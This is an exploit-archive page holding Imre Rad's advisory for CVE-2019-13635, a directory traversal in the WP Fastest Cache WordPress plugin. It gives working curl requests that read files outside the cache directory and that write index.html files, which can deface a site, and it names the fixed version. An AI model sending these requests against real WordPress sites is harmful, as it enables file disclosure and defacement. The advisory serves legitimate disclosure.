exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress WP Fastest Cache 0.8.9.5 Directory Traversal

WordPress WP Fastest Cache 0.8.9.5 Directory Traversal
Posted Jul 30, 2019
Authored by Imre Rad

WordPress WP Fastest Cache plugin versions 0.8.9.5 and below suffer from a directory traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2019-13635
SHA-256 | a48aa7f98293e513ef94ab9b82442089b2529f76733376c84e5da8863c042fd3

WordPress WP Fastest Cache 0.8.9.5 Directory Traversal

Change Mirror Download
WP Fastest Cache is a Wordpress plugin that creates static html files
from the dynamic WordPress blog in order to speed up operation.

Version 0.8.9.5 and below of the plugin was identified being
vulnerable to directory traversal attacks.

The first two are Windows only, the 3rd one is generic. The Windows
specific ones were tested on WampServer (so with Apache's Httpd).

#1:
The impact is reading files outside of the cache directory. The
attacker has control over the directory only, the file is selected as
the first hit of the scandir results in descending order.


curl --path-as-is http://vulnerable-host.tld/wpfc-minified/..\..\..\/stuff.php

<?php
/**
* XML-RPC protocol support for WordPress
*
* @package WordPress
*/
...

#2:
The cacheFilePath construction logic in cache.php can be abused to
mount a similar attack as vuln #1 and read index.html files outside
the cache directory:

curl --path-as-is http://vulnerable-host.tld/..\..\..\/whatever.html\/..
some html content outside the cache directory
<!-- via php -->


#3:
If the Google Translate plugin is active on the victim system then it
is also possible to create index.html files outside the cache
directory:

curl -v --header "X-GT-LANG: ../../../.."
http://vulnerable-host.tld/some-article/

In configurations where the html extension has higher precedence over
php in the webserver's DirectoryIndex configuration, this could
actually change the front page of the victim website.


Remediation: update to plugin version 0.8.9.6

Imre
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close